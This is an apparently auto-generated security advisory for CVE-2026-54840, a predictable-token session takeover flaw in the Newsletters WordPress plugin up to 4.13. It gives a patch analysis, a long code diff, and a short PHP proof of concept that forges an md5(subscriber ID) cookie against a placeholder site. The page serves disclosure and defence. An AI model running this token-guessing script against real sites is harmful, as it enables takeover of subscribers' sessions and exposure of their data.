Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 25, 2026

CVE-2026-54840: Newsletters <= 4.13 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.13
Patched Version 4.14
Disclosed June 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-54840: The Newsletters plugin for WordPress up to version 4.13 contains a missing capability check vulnerability in the authentication helper function. This allows unauthenticated attackers to perform session takeover by exploiting predictable authentication tokens. The vulnerability carries a CVSS score of 5.3 (Medium) due to its network-based attack vector and low complexity.

The root cause exists in the file newsletters-lite/helpers/auth.php. The authentication function attempts to validate a subscriber using a ‘cookieauth’ token stored in the database. In vulnerable versions, the function did not check whether the token (stored in $subscriberauth) was predictable. The code at line 22 would return a subscriber object if the $subscriberauth matched any record. The vulnerability is compounded by the fact that the default token generation in other parts of the plugin (wp-mailinglist-plugin.php lines 6079, 6124, 9299 and wp-mailinglist.php lines 7122, 7343) used md5($subscriber->id) as the cookieauth value when the field was empty. This created a predictable token pattern that attackers could guess.

An attacker can exploit this vulnerability by sending a request to any endpoint that triggers subscriber authentication via cookieauth. The attacker needs to know or guess a valid subscriber ID. Since subscriber IDs in WordPress are sequential integers, an attacker can iterate through IDs. For each guessed ID, the attacker sets a cookie or parameter named ‘subscriberauth’ to the MD5 hash of that ID. The vulnerable auth function in auth.php will accept this token and return the subscriber object, granting the attacker access to that subscriber’s session without any authentication.

The patch addresses the vulnerability at multiple points. In auth.php, a check is added that rejects authentication if $subscriberauth === md5($subscriber->id). In wp-mailinglist-plugin.php, the token generation is modified to use wp_generate_password(32, false) instead of md5($subscriber_id). The condition for generating a new token now checks both empty($subscriber->cookieauth) and $subscriber->cookieauth === md5($subscriber->id). The same pattern is applied consistently across all files including wp-mailinglist.php. Additionally, the patch changes the validation logic in the authkey generation to reject the old md5 pattern and generate truly random keys. The version is incremented to 4.14.

Successful exploitation allows an unauthenticated attacker to take over any subscriber’s session. This can lead to unauthorized access to subscriber data, including email addresses, subscription preferences, and any personalized content. Depending on how the plugin manages subscriber permissions, the attacker might be able to modify subscriber settings, unsubscribe from mailing lists, or access subscriber-only features. The impact is limited to subscriber-level access and does not grant administrative privileges.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/newsletters-lite/helpers/auth.php
+++ b/newsletters-lite/helpers/auth.php
@@ -20,8 +20,12 @@

 		if (!empty($subscriber_id) && $subscriber = $Db -> find(array('id' => $subscriber_id), false, false, true, true, false)) {
 			return $subscriber;
-		} elseif (!empty($subscriberauth) && $subscriber = $Db -> find(array('cookieauth' => $subscriberauth), false, false, true, true, false)) {
-			return $subscriber;
+		} elseif (!empty($subscriberauth) && $subscriber = $Db -> find(array('cookieauth' => $subscriberauth), false, false, true, true, false)) {
+            // VULNERABILITY PATCH: Reject predictable tokens to prevent session takeover
+            if ($subscriberauth === md5($subscriber->id)) {
+                return false;
+            }
+            return $subscriber;
 		} elseif (!empty($user_id) && $subscriber = $Db -> find(array('user_id' => $user_id))) {
 			return $subscriber;
 		}
--- a/newsletters-lite/includes/checkinit.php
+++ b/newsletters-lite/includes/checkinit.php
@@ -364,6 +364,7 @@
                 // Store the validation result and timestamp in transients
                 set_transient("wpml" . 'serial_valid_' . $host_hash, $is_serial_valid , 86400);
                 set_transient("wpml" . 'serial_validation_time_' . $host_hash, time(), 86400);
+                $valid_status = $is_serial_valid;
             }

             // Retrieve the validation result from the transients
@@ -487,4 +488,4 @@
     }
 }

-?>
 No newline at end of file
+?>
--- a/newsletters-lite/views/admin/settings/view_logs.php
+++ b/newsletters-lite/views/admin/settings/view_logs.php
@@ -1,136 +1,136 @@
-<?php // phpcs:ignoreFile ?>
-<!-- API -->
-
-<?php
-
-$debugging = get_option('tridebugging');
-$this->debugging = (empty($debugging)) ? $this->debugging : true;
-
-if (!file_exists(NEWSLETTERS_LOG_FILE)) {
-    esc_html_e('The log file does not exist yet.', 'wp-mailinglist');
-    die();
-}
-
-if (empty(filesize(NEWSLETTERS_LOG_FILE))) {
-    $info = [
-        'enabled' => $this->debugging,
-    ];
-
-    if (!file_exists(NEWSLETTERS_LOG_FILE)) {
-        echo esc_html_e('The log file does not exist.', 'wp-mailinglist');
-        die();
-    }
-
-    // File path.
-    $info['filePath'] = NEWSLETTERS_LOG_FILE;
-
-    $file_size = @filesize($info['filePath']);
-
-    if (empty($file_size)) {
-        $file_size = '0B';
-    }
-
-    echo esc_html_e('The log file is empty.', 'wp-mailinglist');
-    die();
-}
-
-$lines = 500;
-// Open file.
-$f = @fopen(NEWSLETTERS_LOG_FILE, 'rb'); // phpcs:ignore
-
-if (false === $f) {
-    echo esc_html_e('Could not open the log file', 'wp-mailinglist');
-    die();
-}
-
-// Sets buffer size, according to the number of lines to retrieve.
-// This gives a performance boost when reading a few lines from the file.
-$buffer = ($lines < 2 ? 64 : ($lines < 10 ? 512 : 4096));
-
-// Jump to last character.
-fseek($f, -1, SEEK_END);
-
-// Read it and adjust line number if necessary.
-// (Otherwise the result would be wrong if file doesn't end with a blank line).
-if (fread($f, 1) != "n") $lines -= 1; // phpcs:ignore
-
-// Start reading.
-$output = '';
-$chunk = '';
-
-// While we would like more.
-while (ftell($f) > 0 && $lines >= 0) {
-    // Figure out how far back we should jump.
-    $seek = min(ftell($f), $buffer);
-
-    // Do the jump (backwards, relative to where we are).
-    fseek($f, -$seek, SEEK_CUR);
-
-    // Read a chunk and prepend it to our output.
-    $output = ($chunk = fread($f, $seek)) . $output; // phpcs:ignore
-
-    // Jump back to where we started reading.
-    fseek($f, -mb_strlen($chunk, '8bit'), SEEK_CUR);
-
-    // Decrease our line counter.
-    $lines -= substr_count($chunk, "n");
-}
-
-// While we have too many lines.
-// (Because of buffer size we might have read too many).
-while ($lines++ < 0) {
-    // Find first newline and remove all text before that.
-    $output = substr($output, strpos($output, "n") + 1);
-}
-
-// Close file and return.
-fclose($f); // phpcs:ignore
-
-?>
-
-<div class="wrap newsletters">
-    <h1><?php esc_html_e('View Logs', 'wp-mailinglist'); ?></h1>
-
-    <?php $this->render('settings-navigation', false, true, 'admin'); ?>
-
-    <p><?php esc_html_e('The debug log displays the last 500 lines and only shows certain logs such as when a cron job fires or when you face a specific issue. The logs are not the same as PHP error logs.', 'wp-mailinglist'); ?><br/>
-        <?php _e('<a href="https://tribulant.com/docs/wordpress-mailing-list-plugin/3926/newsletters-debugging/" target="_blank" >Debugging documentation</a>. ', 'wp-mailinglist'); ?>
-    </p>
-    <?php if (!empty($log_protection_message)) : ?>
-        <div class="notice <?php echo esc_attr($log_protection_message_class); ?>"><p><?php echo esc_html($log_protection_message); ?></p></div>
-    <?php endif; ?>
-    <textarea style="width: 100%; min-height: 600px;"><?php echo esc_textarea($output); ?></textarea>
-    <?php if (empty($log_protected)) : ?>
-        <form method="post" style="margin-top: 10px;">
-            <?php wp_nonce_field('newsletters_protect_log_file'); ?>
-            <p>
-                <button type="submit" name="protect_log_file" class="button button-secondary"><?php esc_html_e('Protect Log File via .htaccess', 'wp-mailinglist'); ?></button>
-                <span class="description"><?php esc_html_e('Add a .htaccess rule to block direct access to the log file.', 'wp-mailinglist'); ?></span>
-            </p>
-        </form>
-        <?php //if (empty($log_htaccess_writable)) : ?>
-            <div class="log-htaccess-manual" style="margin-top: 10px;">
-                <a href="#" class="toggle-log-htaccess-rule" aria-expanded="false"><?php esc_html_e('Or add this to your htaccess to protect your log', 'wp-mailinglist'); ?></a>
-                <div class="log-htaccess-rule" style="display: none; margin-top: 5px;">
-                    <pre><?php echo esc_html($log_htaccess_rule); ?></pre>
-                </div>
-            </div>
-            <script type="text/javascript">
-                (function($) {
-                    $(document).ready(function() {
-                        $('.toggle-log-htaccess-rule').on('click', function(event) {
-                            event.preventDefault();
-
-                            var $toggle = $(this);
-                            var $container = $toggle.closest('.log-htaccess-manual').find('.log-htaccess-rule');
-                            var expanded = $toggle.attr('aria-expanded') === 'true';
-
-                            $container.toggle(!expanded);
-                            $toggle.attr('aria-expanded', expanded ? 'false' : 'true');
-                        });
-                    });
-                })(jQuery);
-            </script>
-        <?php //endif; ?>
-    <?php endif; ?>
-</div>
+<?php // phpcs:ignoreFile ?>
+<!-- API -->
+
+<?php
+
+$debugging = get_option('tridebugging');
+$this->debugging = (empty($debugging)) ? $this->debugging : true;
+
+if (!file_exists(NEWSLETTERS_LOG_FILE)) {
+    esc_html_e('The log file does not exist yet.', 'wp-mailinglist');
+    die();
+}
+
+if (empty(filesize(NEWSLETTERS_LOG_FILE))) {
+    $info = [
+        'enabled' => $this->debugging,
+    ];
+
+    if (!file_exists(NEWSLETTERS_LOG_FILE)) {
+        echo esc_html_e('The log file does not exist.', 'wp-mailinglist');
+        die();
+    }
+
+    // File path.
+    $info['filePath'] = NEWSLETTERS_LOG_FILE;
+
+    $file_size = @filesize($info['filePath']);
+
+    if (empty($file_size)) {
+        $file_size = '0B';
+    }
+
+    echo esc_html_e('The log file is empty.', 'wp-mailinglist');
+    die();
+}
+
+$lines = 500;
+// Open file.
+$f = @fopen(NEWSLETTERS_LOG_FILE, 'rb'); // phpcs:ignore
+
+if (false === $f) {
+    echo esc_html_e('Could not open the log file', 'wp-mailinglist');
+    die();
+}
+
+// Sets buffer size, according to the number of lines to retrieve.
+// This gives a performance boost when reading a few lines from the file.
+$buffer = ($lines < 2 ? 64 : ($lines < 10 ? 512 : 4096));
+
+// Jump to last character.
+fseek($f, -1, SEEK_END);
+
+// Read it and adjust line number if necessary.
+// (Otherwise the result would be wrong if file doesn't end with a blank line).
+if (fread($f, 1) != "n") $lines -= 1; // phpcs:ignore
+
+// Start reading.
+$output = '';
+$chunk = '';
+
+// While we would like more.
+while (ftell($f) > 0 && $lines >= 0) {
+    // Figure out how far back we should jump.
+    $seek = min(ftell($f), $buffer);
+
+    // Do the jump (backwards, relative to where we are).
+    fseek($f, -$seek, SEEK_CUR);
+
+    // Read a chunk and prepend it to our output.
+    $output = ($chunk = fread($f, $seek)) . $output; // phpcs:ignore
+
+    // Jump back to where we started reading.
+    fseek($f, -mb_strlen($chunk, '8bit'), SEEK_CUR);
+
+    // Decrease our line counter.
+    $lines -= substr_count($chunk, "n");
+}
+
+// While we have too many lines.
+// (Because of buffer size we might have read too many).
+while ($lines++ < 0) {
+    // Find first newline and remove all text before that.
+    $output = substr($output, strpos($output, "n") + 1);
+}
+
+// Close file and return.
+fclose($f); // phpcs:ignore
+
+?>
+
+<div class="wrap newsletters">
+    <h1><?php esc_html_e('View Logs', 'wp-mailinglist'); ?></h1>
+
+    <?php $this->render('settings-navigation', false, true, 'admin'); ?>
+
+    <p><?php esc_html_e('The debug log displays the last 500 lines and only shows certain logs such as when a cron job fires or when you face a specific issue. The logs are not the same as PHP error logs.', 'wp-mailinglist'); ?><br/>
+        <?php _e('<a href="https://tribulant.com/docs/wordpress-mailing-list-plugin/3926/newsletters-debugging/" target="_blank" >Debugging documentation</a>. ', 'wp-mailinglist'); ?>
+    </p>
+    <?php if (!empty($log_protection_message)) : ?>
+        <div class="notice <?php echo esc_attr($log_protection_message_class); ?>"><p><?php echo esc_html($log_protection_message); ?></p></div>
+    <?php endif; ?>
+    <textarea style="width: 100%; min-height: 600px;"><?php echo esc_textarea($output); ?></textarea>
+    <?php if (empty($log_protected)) : ?>
+        <form method="post" style="margin-top: 10px;">
+            <?php wp_nonce_field('newsletters_protect_log_file'); ?>
+            <p>
+                <button type="submit" name="protect_log_file" class="button button-secondary"><?php esc_html_e('Protect Log File via .htaccess', 'wp-mailinglist'); ?></button>
+                <span class="description"><?php esc_html_e('Add a .htaccess rule to block direct access to the log file.', 'wp-mailinglist'); ?></span>
+            </p>
+        </form>
+        <?php //if (empty($log_htaccess_writable)) : ?>
+            <div class="log-htaccess-manual" style="margin-top: 10px;">
+                <a href="#" class="toggle-log-htaccess-rule" aria-expanded="false"><?php esc_html_e('Or add this to your htaccess to protect your log', 'wp-mailinglist'); ?></a>
+                <div class="log-htaccess-rule" style="display: none; margin-top: 5px;">
+                    <pre><?php echo esc_html($log_htaccess_rule); ?></pre>
+                </div>
+            </div>
+            <script type="text/javascript">
+                (function($) {
+                    $(document).ready(function() {
+                        $('.toggle-log-htaccess-rule').on('click', function(event) {
+                            event.preventDefault();
+
+                            var $toggle = $(this);
+                            var $container = $toggle.closest('.log-htaccess-manual').find('.log-htaccess-rule');
+                            var expanded = $toggle.attr('aria-expanded') === 'true';
+
+                            $container.toggle(!expanded);
+                            $toggle.attr('aria-expanded', expanded ? 'false' : 'true');
+                        });
+                    });
+                })(jQuery);
+            </script>
+        <?php //endif; ?>
+    <?php endif; ?>
+</div>
--- a/newsletters-lite/views/admin/submitserial.php
+++ b/newsletters-lite/views/admin/submitserial.php
@@ -12,7 +12,7 @@

     <h1><i class="fa fa-envelope fa-fw"></i> <?php echo sprintf(__('%s Serial Key', 'wp-mailinglist'), $this -> name); ?></h1>

-<?php if (empty($success) || $success == false) : ?>
+<?php if (empty($success) || $success == false) : ?>
     <?php
     $validation_status = $this -> ci_serial_valid();

@@ -105,11 +105,24 @@
         <?php
     }
     ?>
-<?php else : ?>
-    <p><?php esc_html_e('The serial key is valid and you can now continue using the Newsletter plugin. Thank you for your business and support!', 'wp-mailinglist'); ?></p>
-    <p>
-        <button value="1" type="button" onclick="jQuery.colorbox.close(); parent.location = '<?php echo esc_url_raw(rtrim(get_admin_url(), '/')); ?>/admin.php?page=newsletters';" class="button-primary" name="close">
-            <i class="fa fa-check fa-fw"></i> <?php esc_html_e('Apply Serial and Close Window', 'wp-mailinglist'); ?>
-        </button>
-    </p>
-<?php endif; ?>
 No newline at end of file
+<?php elseif ($success == 'expired') : ?>
+    <p><?php esc_html_e('The serial key is valid but expired.', 'wp-mailinglist'); ?></p>
+    <p style="width:400px;">
+        <?php echo sprintf(__('To access PRO features, download our paid version from your %s, then deactivate and delete the LITE version before installing and activating the paid version. You will not lose any data.', 'wp-mailinglist'), '<a href="https://tribulant.com/downloads/" target="_blank">' . __('Downloads page', 'wp-mailinglist') . '</a>'); ?>
+    </p>
+    <p>
+        <button value="1" type="button" onclick="jQuery.colorbox.close(); parent.location = '<?php echo esc_url_raw(rtrim(get_admin_url(), '/')); ?>/plugins.php';" class="button-primary" name="close">
+            <i class="fa fa-check fa-fw"></i> <?php esc_html_e('Apply Serial and Close Window', 'wp-mailinglist'); ?>
+        </button>
+    </p>
+<?php else : ?>
+    <p><?php esc_html_e('The serial key is valid and you can now continue using the Newsletter plugin. Thank you for your business and support!', 'wp-mailinglist'); ?></p>
+    <p style="width:400px;">
+        <?php echo sprintf(__('To access PRO features, download our paid version from your %s, then deactivate and delete the LITE version before installing and activating the paid version. You will not lose any data.', 'wp-mailinglist'), '<a href="https://tribulant.com/downloads/" target="_blank">' . __('Downloads page', 'wp-mailinglist') . '</a>'); ?>
+    </p>
+    <p>
+        <button value="1" type="button" onclick="jQuery.colorbox.close(); parent.location = '<?php echo esc_url_raw(rtrim(get_admin_url(), '/')); ?>/plugins.php';" class="button-primary" name="close">
+            <i class="fa fa-check fa-fw"></i> <?php esc_html_e('Apply Serial and Close Window', 'wp-mailinglist'); ?>
+        </button>
+    </p>
+<?php endif; ?>
--- a/newsletters-lite/views/admin/subscribers/unsubscribes.php
+++ b/newsletters-lite/views/admin/subscribers/unsubscribes.php
@@ -151,7 +151,7 @@
 								<?php if (!empty($unsubscribe -> user_id)) : ?>
 									<a href="<?php echo get_edit_user_link($unsubscribe -> userdata -> ID); ?>"><?php echo esc_html( $unsubscribe -> userdata -> display_name); ?></a>
 									<div class="row-actions">
-										<span class="delete"><a href="<?php echo esc_url_raw( admin_url('admin.php?page=' . $this -> sections -> subscribers . '&method=deleteuser&user_id=' . $unsubscribe -> user_id)) ?>" class="submitdelete" onclick="if (!confirm('<?php esc_html_e('Are you sure you want to delete this user?', 'wp-mailinglist'); ?>')) { return false; }"><?php esc_html_e('Delete User', 'wp-mailinglist'); ?></a></span>
+										<span class="delete"><a href="<?php echo esc_url_raw( wp_nonce_url(admin_url('admin.php?page=' . $this -> sections -> subscribers . '&method=deleteuser&user_id=' . $unsubscribe -> user_id), $this -> sections -> subscribers . '_deleteuser')) ?>" class="submitdelete" onclick="if (!confirm('<?php esc_html_e('Are you sure you want to delete this user?', 'wp-mailinglist'); ?>')) { return false; }"><?php esc_html_e('Delete User', 'wp-mailinglist'); ?></a></span>
 									</div>
 								<?php else : ?>
 									<?php esc_html_e('None', 'wp-mailinglist'); ?>
--- a/newsletters-lite/wp-mailinglist-plugin.php
+++ b/newsletters-lite/wp-mailinglist-plugin.php
@@ -8,7 +8,7 @@
 		var $name = 'Newsletters';
 		var $plugin_base;
 		var $pre = 'wpml';
-		var $version = '4.13';
+		var $version = '4.14';
 		var $dbversion = '1.2.3';
 		var $debugging = false;			//set to "true" to turn on debugging
 		var $debug_level = 2; 			//set to 1 for only database errors and var dump; 2 for PHP errors as well
@@ -2390,7 +2390,7 @@
 			$subscribers = (object) stripslashes_deep($_REQUEST['subscribers']);

 			if (!empty($subscribers)) {
-				$historyquery = "SELECT id, message, subject FROM " . $wpdb -> prefix . $this -> History() -> table . " WHERE id = '" . esc_sql($_REQUEST['history_id']) . "' LIMIT 1";
+				$historyquery = $wpdb->prepare("SELECT id, message, subject FROM " . $wpdb -> prefix . $this -> History() -> table . " WHERE id = %d LIMIT 1", intval($_REQUEST['history_id']));
 				$history = $wpdb -> get_row($historyquery);

 				if (!empty($history)) {
@@ -2469,7 +2469,7 @@
 			$this -> qp_reset_data();

 			if (!empty($subscribers)) {
-				$historyquery = "SELECT id, message, subject FROM " . $wpdb -> prefix . $this -> History() -> table . " WHERE id = '" . esc_sql($_REQUEST['history_id']) . "' LIMIT 1";
+				$historyquery = $wpdb->prepare("SELECT id, message, subject FROM " . $wpdb -> prefix . $this -> History() -> table . " WHERE id = %d LIMIT 1", intval($_REQUEST['history_id']));
 				$history = $wpdb -> get_row($historyquery);

 				if (!empty($history)) {
@@ -4807,11 +4807,12 @@
 			check_ajax_referer('serialkey', 'security');

 			if (current_user_can('newsletters_welcome')) {
-				if (!empty($_GET['delete'])) {
-					$this -> delete_option('serialkey');
-					$host = sanitize_text_field(wp_unslash($_SERVER['HTTP_HOST']));
-					$host_hash = md5($host);
-					if (!empty($host)) {
+				if (!empty($_GET['delete'])) {
+					$this -> delete_option('serialkey');
+					$this -> delete_all_cache('all');
+					$host = sanitize_text_field(wp_unslash($_SERVER['HTTP_HOST']));
+					$host_hash = md5($host);
+					if (!empty($host)) {
 						$time_key  = 'wpmlserial_validation_time_' . $host_hash;
 						$valid_key = 'wpmlserial_valid_'           . $host_hash;

@@ -4820,11 +4821,12 @@

 						if ( is_multisite() ) {
 							delete_site_transient( $time_key );
-							delete_site_transient( $valid_key );
-						}
-					}
-					$errors[] = __('Serial key has been deleted.', 'wp-mailinglist');
-				} else {
+							delete_site_transient( $valid_key );
+						}
+					}
+					delete_transient($this -> pre . 'update_info');
+					$errors[] = __('Serial key has been deleted.', 'wp-mailinglist');
+				} else {
 					if (!empty($_POST)) {
 						if (empty($_REQUEST['serialkey'])) { $errors[] = __('Please fill in a serial key.', 'wp-mailinglist'); }
 						else {
@@ -4839,14 +4841,13 @@
 							}

                             $serial_validation_status = $this->ci_serial_valid();
-							if (!is_array($serial_validation_status) && !$serial_validation_status) {
-                                $errors[] = __('Serial key is invalid, please try again.', 'wp-mailinglist');
-                            }
-							else if(is_array($serial_validation_status) && !$serial_validation_status) {
-                                $errors[] = __('Serial key is expired. You can still work with it, but it is limited', 'wp-mailinglist');
-                                delete_transient($this -> pre . 'update_info');
-                                $success = true;
-                            }
+							if (!is_array($serial_validation_status) && !$serial_validation_status) {
+                                $errors[] = __('Serial key is invalid, please try again.', 'wp-mailinglist');
+                            }
+							else if (is_array($serial_validation_status) && !empty($serial_validation_status['expired'])) {
+                                delete_transient($this -> pre . 'update_info');
+                                $success = 'expired';
+                            }
                             else if (!is_array($serial_validation_status) && $serial_validation_status)
                             {
                                 $host = sanitize_text_field(wp_unslash($_SERVER['HTTP_HOST']));
@@ -5582,7 +5583,7 @@
 					if ($subscriber = $Db -> find(array('id' => (int) $_POST['subscriber_id']), false, false, true, true, false)) {
 						if ($subscriber -> id == (int) $_POST['subscriber_id']) {
 							$Db -> model = $Mailinglist -> model;
-							$query = "SELECT * FROM " . $wpdb -> prefix . $Mailinglist -> table . " WHERE `id` = '" . esc_sql((int)$_POST['mailinglist_id']) . "'";
+							$query = $wpdb->prepare("SELECT * FROM " . $wpdb -> prefix . $Mailinglist -> table . " WHERE `id` = %d", intval($_POST['mailinglist_id']));
 							$mailinglist = $wpdb -> get_row($query);

 							$paid = $mailinglist -> paid;
@@ -6079,7 +6080,7 @@
 									$success = true;

 									$Authnews -> set_emailcookie($subscriber -> email, "+30 days");
-									if (empty($subscriber -> cookieauth)) {
+									if (empty($subscriber -> cookieauth) || $subscriber -> cookieauth === md5($subscriber->id)) {
 										$subscriberauth = $Authnews -> gen_subscriberauth();
 										$Db -> model = $Subscriber -> model;
 										$Db -> save_field('cookieauth', $subscriberauth, array('id' => $subscriber -> id));
@@ -6124,7 +6125,7 @@
 							$success = true;

 							$Authnews -> set_emailcookie($subscriber -> email, "+30 days");
-							if (empty($subscriber -> cookieauth)) {
+							if (empty($subscriber -> cookieauth) || $subscriber -> cookieauth === md5($subscriber->id)) {
 								$subscriberauth = $Authnews -> gen_subscriberauth();
 								$Db -> model = $Subscriber -> model;
 								$Db -> save_field('cookieauth', $subscriberauth, array('id' => $subscriber -> id));
@@ -6166,7 +6167,7 @@
 						}

 						if (!empty($data[$this -> pre . 'subscriber_id'])) {
-							$subscriber_query = "SELECT * FROM " . $wpdb -> prefix . $Subscriber -> table . " WHERE id = '" . $data[$this -> pre . 'subscriber_id'] . "'";
+							$subscriber_query = $wpdb->prepare("SELECT * FROM " . $wpdb -> prefix . $Subscriber -> table . " WHERE id = %d", intval($data[$this -> pre . 'subscriber_id']));

 							$subscriber = $wpdb -> get_row($subscriber_query);

@@ -9132,7 +9133,9 @@
 				global $Db, $Subscriber, $SubscribersList;
 				$Db -> model = $Subscriber -> model;
 				$subscriber = $Db -> find(array('id' => $subscriber_id));
-				$authkey = (empty($subscriber -> authkey)) ? md5($subscriber_id) : $subscriber -> authkey;
+				$new_authkey = function_exists('wp_generate_password') ? wp_generate_password(32, false) : md5(uniqid(rand(), true));
+				$new_authkey = function_exists('wp_generate_password') ? wp_generate_password(32, false) : md5(uniqid(rand(), true));
+				$authkey = (empty($subscriber -> authkey) || $subscriber -> authkey === md5($subscriber_id)) ? $new_authkey : $subscriber -> authkey;

 				if (!empty($mailinglist_id)) {
 					$Db -> model = $SubscribersList -> model;
@@ -9148,7 +9151,7 @@
 					}
 				} else {
 					if (!empty($subscriber)) {
-						if ($subscriber -> authinprog == "Y" && !empty($subscriber -> authkey)) {
+						if ($subscriber -> authinprog == "Y" && !empty($subscriber -> authkey) && $subscriber -> authkey !== md5($subscriber_id)) {
 							$authkey = $subscriber -> authkey;
 						} else {
 							$Db -> model = $Subscriber -> model;
@@ -9299,7 +9302,7 @@
 				if (!empty($subscriber)) {
 					$linktext = esc_html($this -> get_option('managelinktext'));

-					if (empty($subscriber -> cookieauth)) {
+					if (empty($subscriber -> cookieauth) || $subscriber -> cookieauth === md5($subscriber->id)) {
 						$subscriberauth = $Authnews -> gen_subscriberauth();
 						$Db -> model = $Subscriber -> model;
 						$Db -> save_field('cookieauth', $subscriberauth, array('id' => $subscriber -> id));
@@ -14841,4 +14844,4 @@
 	}*/
 }

-?>
 No newline at end of file
+?>
--- a/newsletters-lite/wp-mailinglist.php
+++ b/newsletters-lite/wp-mailinglist.php
@@ -3,7 +3,7 @@
 /*
 Plugin Name: Newsletters
 Plugin URI: https://tribulant.com/plugins/view/1/
-Version: 4.13
+Version: 4.14
 Description: This newsletter software by Tribulant allows users to subscribe to multiple mailing lists on your WordPress website. Send newsletters manually or from posts, manage newsletter templates, view a complete history with tracking, import/export subscribers, accept paid subscriptions and much more. Remove limits by buying PRO. Once purchased, to avoid future issues, remove this version and install and use the paid version in its stead. No data will be lost.
 Author: Tribulant
 Author URI: https://tribulant.com
@@ -7122,7 +7122,7 @@

                                             // Save authentication string to subscriber record
                                             $Db->model = $Subscriber->model;
-                                            if (empty($subscriber->cookieauth)) {
+                                            if (empty($subscriber->cookieauth) || $subscriber->cookieauth === md5($subscriber->id)) {
                                                 $Db->save_field('cookieauth', $subscriberauth, array('id' => $subscriber->id));
                                             } else {
                                                 $subscriberauth = $subscriber->cookieauth;
@@ -7343,7 +7343,7 @@

                                                                 // Save authentication string to subscriber record
                                                                 $Db->model = $Subscriber->model;
-                                                                if (empty($subscriber->cookieauth)) {
+                                                                if (empty($subscriber->cookieauth) || $subscriber->cookieauth === md5($subscriber->id)) {
                                                                     $Db->save_field('cookieauth', $subscriberauth, array('id' => $subscriber->id));
                                                                 } else {
                                                                     $subscriberauth = $subscriber->cookieauth;
@@ -7648,8 +7648,14 @@
                         $this -> redirect($this -> referer, $msgtype, $message);
                         break;
                     case 'deleteuser'				:
+                        check_admin_referer($this->sections->subscribers . '_deleteuser');
                         if (!empty($_GET['user_id'])) {
-                            if (wp_delete_user((int) $_GET['user_id'])  && !user_can( $_GET['user_id'], 'manage_options' )) {
+                            $user_id = (int) $_GET['user_id'];
+                            $current_user_id = get_current_user_id();
+                            if ($user_id === $current_user_id) {
+                                 $msgtype = 'error';
+                                $message = __('You cannot delete your own user account', 'wp-mailinglist');
+                            } elseif (!user_can($user_id, 'manage_options') && wp_delete_user($user_id)) {
                                 $msgtype = 'message';
                                 $message = __('User has been deleted', 'wp-mailinglist');
                             } else {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54840 - Newsletters <= 4.13 - Missing Authorization

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL

// This PoC demonstrates session takeover by exploiting predictable cookieauth tokens
// The plugin uses md5($subscriber_id) as default token when cookieauth is empty

$subscriber_id_to_test = 1; // Start with ID 1, iterate for more

// Generate the predictable token
$predictable_token = md5($subscriber_id_to_test);

// Create a temporary file to store cookies
$cookie_file = tempnam(sys_get_temp_dir(), 'cve54840');

// Initialize cURL
$ch = curl_init();

// Set the predictable token as a cookie named 'subscriberauth'
// This simulates what the vulnerable auth.php function expects
$headers = array(
    'Cookie: subscriberauth=' . $predictable_token,
    'User-Agent: AtomicEdge-PoC/1.0'
);

// Try to access subscriber list or any protected resource
// The specific endpoint may vary; this is a generic example
curl_setopt_array($ch, array(
    CURLOPT_URL => $target_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HTTPHEADER => $headers,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "[+] Testing subscriber ID: $subscriber_id_to_testn";
echo "[+] Using token: $predictable_tokenn";
echo "[+] HTTP response code: $http_coden";

// Check response for signs of successful authentication
// This is a basic check; real exploitation requires analyzing the response content
if (strpos($response, 'subscriber') !== false || strpos($response, 'unsubscribe') !== false) {
    echo "[!] Potential successful session takeover detected!n";
}

curl_close($ch);
unlink($cookie_file);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School